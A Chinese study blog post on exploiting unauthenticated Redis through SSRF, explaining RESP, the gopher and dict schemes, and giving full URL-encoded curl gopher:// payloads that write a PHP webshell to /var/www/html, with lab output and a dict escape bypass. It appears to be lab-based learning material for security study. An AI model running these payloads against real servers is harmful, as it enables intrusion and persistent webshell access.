Redis安全學習
Redis安全學習
一直在聽SSRF打Redis,那Redis到底是啥,正式的認真學習一下。
1、Redis是什麼
REmote DIctionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value儲存系統。
Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。
它通常被稱為資料結構伺服器,因為值(value)可以是 字串(String), 雜湊(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等型別。
來源於:https://www.runoob.com/redis/redis-tutorial.html
Redis預設埠為6379
2、Redis的命令
連線命令
本地連線:redis-cli(本地連線後,若存在密碼使用AUTH pass進行驗證)
遠端連線:redis-cli -h host -p port [-a passwd](引數a可選項,如果是沒有密碼的則不需要)
鍵操作
設定鍵值對:set 鍵名 鍵值(例如:set atao xxx-->寫入一個鍵名為atao、鍵值為xxx的內容,執行成功返回OK)
取出鍵值對:get 鍵名(例如:get atao-->取出鍵名為atao的鍵的鍵值,返回鍵中的鍵值)
刪除鍵值對:del 鍵名(例如:del atao-->刪除鍵名為atao的鍵,如果鍵被刪除返回(integer)1,否則將輸出(integer)0)
清空所有資料庫命令:flushall(刪除所有資料庫裡面的所有資料,是所有資料庫,不僅僅是當前資料庫,且此命令永遠不會出現失敗)
同步資料到磁碟上:save(以RDB檔案的方式儲存所有資料的快照,命令執行成功返回OK)
配置操作
Redis配置檔名為redis.conf(Windows下名為redis.windows.conf),可以使用CONFIG命令進行檢視。
設定配置檔案:config set 配置項 路徑(配置項如:dir或dbfilename,二者分別是指定本地資料庫存放目錄和指定本地資料庫檔名,配置被正確設定時返回OK,否則將返回錯誤)
更多配置項的內容,可以檢視:https://www.runoob.com/redis/redis-conf.html
這裡介紹的為自己常用的命令,更多命令檢視:http://www.redis.cn/commands.html
3、學習SSRF打Redis的預備知識
Redis安裝過程
參考連結:https://www.cnblogs.com/hunanzp/p/12304622.html
遇到的坑:使用redis-cli時,返回bash: redis-cli:未找到命令,解決方法:在redis資料夾下執行命令:sudo cp src/redis-cli /usr/local/bin/,將redis-cli新增至命令中。
啟動Redis:在目錄/usr/local/redis下執行命令:sudo ./bin/redis-server ./redis.conf
捕捉Redis流量
這裡使用的是tcpdump抓取流量,(遇到了一個小坑,Kali上顯示tcpdump為最新版,但是無命令,更新環境變數:export PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"後可以正常使用)抓取流量的命令為sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap
Redis通訊協議RESP
Redis客戶端使用稱為RESP(Redis序列化協議)的協議與Redis伺服器進行通訊。詳細閱讀:https://redis.io/topics/protocol
RESP在Redis中用作請求-響應協議的方式如下:
- 客戶端將命令作為RESP大容量字串陣列傳送到Redis伺服器。
- 伺服器根據命令實現以RESP型別之一進行回覆。
在RESP中,某些資料的型別取決於第一個位元組:
- 對於簡單字串,答覆的第一個位元組為"+"
格式:+字串
注意:字串不能包含CR或者LF(不允許換行)
eg:"+OK\r\n"
- 對於錯誤,回覆的第一個位元組為"-"
格式:-錯誤字首 錯誤資訊\r\n
注意:錯誤資訊不能包含CR或者LF(不允許換行),Errors與Simple Strings相似,不同的是Errors會被當作異常看待
eg:"-Errors unknow command 'foobar'\r\n"
- 對於整數,答覆的第一個位元組為":"
格式::數字\r\n
eg:":10\r\n"
- 對於批量字串(大字串型別Bulk Strings,長度限制512M),答覆的第一個位元組為"$"
格式:$字串的長度\r\n字串\r\n
注意:字串不能包含CR或者LF(不允許換行)
eg:"$7\r\npayload\r\n"
- 對於陣列,回覆的第一個位元組為"*"
格式:*陣列元素個數\r\n其他型別(結尾不需要\r\n)
注意:只有元素個數後面的\r\n是屬於該陣列的,結尾的\r\n一般是元素的
eg:"*0\r\n"——空陣列
"*2\r\n$1\r\nA\r\n$3\r\ntao\r\n"——陣列包含2個元素,分別為A和tao
"*-1\r\n"——Null陣列
通過上面所述的幾種型別構造命令傳給redis服務端,則服務端會返回相應的內容。
Gopher協議
萬金油協議!!!
語法格式:gopher://<host>:<port>/<gopher_path>_value(host為IP地址;port為指定埠,沒寫的話預設為70埠;"_"是一種資料連線格式,任意字元都行;value為TCP資料流)
如果發起為POST請求,回車換行使用%0D%0A;如果多個引數,引數之間的&也需要進行URL編碼。
GET請求
原始碼
<?php
$a = $_GET['a'];
echo "Hello!".$a;
?>
下面是我們要請求的TCP資料流
GET /flag.php?a=atao HTTP/1.1
Host: 192.168.159.131
轉成url編碼的格式(最後一句結尾也要%0d%0a,所以要加上)
%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a
curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a
返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:09:33 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html
a
Hello!atao
0
POST請求
原始碼
<?php
$a = $_POST['a'];
echo "Hello!".$a;
?>
用原來的方式進行請求
GET /flag.php HTTP/1.1
Host: 192.168.159.131
a=atao
這樣會報錯,POST請求需要多加兩個引數Content-Type和Content-Length
修改後為
POST /flag.php HTTP/1.1
Host: 192.168.159.131
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
a=atao
轉成url編碼的格式(這次結尾不用加%0d%0a,因為最後是引數)
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f
curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f
返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:19:16 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html
a
Hello!atao
0
Dict協議
在SSRF中,主要是用來檢視埠服務是否開啟的,但是在Redis中如果無法使用Gopher協議,則可以通過該協議進行替代,不過該協議不能進行多行命令執行,所以當Redis存在驗證時無法使用該協議。
語法格式:dict:////<host>:<port>/<value>(host為IP地址;port為指定埠;value為請求內容)
使用命令
curl -g "dict://127.0.0.1:6397/set:atao:xxx"
返回
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
抓包看到的
CLIENT libcurl 7.68.0
set atao xxx
QUIT
來自鬱神的解釋
第一行是代表發出的cli的工具和版本
第二行是執行我們請求的命令
第三行是自行退出
從這裡我們就不難看出為啥dict不適合Redis認證的題目了,每次只能執行一條命令,執行完後還會退出,沒有餘力做別的操作
這裡返回第一行報錯了,應該是沒有帶引數而報錯的
4、利用方式
Redis未授權訪問漏洞,一般是和SSRF一起出現的。通過SSRF的漏洞來訪問到Redis。
簡單的寫入WebShell
set atao '<?php phpinfo();?>' //寫入php程式碼
config set dir /var/www/html //修改資料庫備份的目錄
config set dbfilename shell.php //修改資料庫備份的檔名
save //備份
上面是Redis需要執行的命令,但是我們是和SSRF一起使用的,所以這裡配合Gopher協議一起使用
通過抓包,Redis通訊如下
RESP協議,下面是一個設定鍵值對和取鍵值對的操作
*3
$3
set
$5
atao1
$4
xxx1
+OK
*2
$3
get
$5
atao1
$4
xxx1
將上面的需要寫入的內容通過RESP協議的格式進行更改
*3
$3
set
$4
atao
$18
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
然後在用url編碼的格式進行傳輸
%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
curl gopher://192.168.159.142:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
返回
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
原因是Redis存在認證,如果沒有認證的話使用上述方式即可,如果存在認證則需要先通過認證才可以進行操作
Redis認證命令為:AUTH password,修改成RESP協議格式如下(這裡直接使用了自己Redis的密碼,設定密碼命令:config set requirepass password)
*2
$4
AUTH
$6
123456
curl gopher://192.168.159.142:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
不知道為啥改成這個後,遠端連線就上不了了。嗚嗚嗚,要是有知道的師傅求解釋一下,後來就改成本地打本地了
curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
返回
+OK 認證過
+OK 修改路徑成功
+OK 修改檔名成功
+OK 寫入鍵值對成功
+OK 儲存成功
cat /var/www/html/shell.php
返回
REDIS0009� redis-ver5.0.7�
�edis-bits�@�ctime�m�_used-mem��
aof-preamble���atao<?php phpinfo();?>�v�a�Pw�a
雖然存在亂碼,但是php的程式碼是正常的
這類利用方式還有:寫入SSH-KEYGEN公鑰使用私鑰登陸(https://www.mi1k7ea.com/2020/03/05/Redis安全小結/#寫入SSH公鑰直接登入)、反彈shell(https://joychou.org/web/phpssrf.html#directory0259675512790535476)
轉義繞過?截斷
參考:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ
主要用於dict協議中,當dict協議要寫入鍵值對,如:
dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>
接收到的內容
CLIENT libcurl 7.68.0
set atao <
QUIT
可以看到?以及後面的內容都沒了
這裡通過對<?等特殊符號進行轉義繞過
dict://127.0.0.1:6379/set:atao:\x3c\x3fphp\x20phpinfo0x28\x29\x3b\x3f\x3e
好用的工具
https://github.com/xmsec/redis-ssrf
參考連線
https://joychou.org/web/phpssrf.html
https://www.mi1k7ea.com/2020/03/05/Redis安全小結/
未完待續
Redis還有很多利用的方式,比如:主從複製的內容,菜雞還沒學會,先不寫了
本文作者:erR0Ratao
本文連結:https://www.cnblogs.com/erR0Ratao/p/13922232.html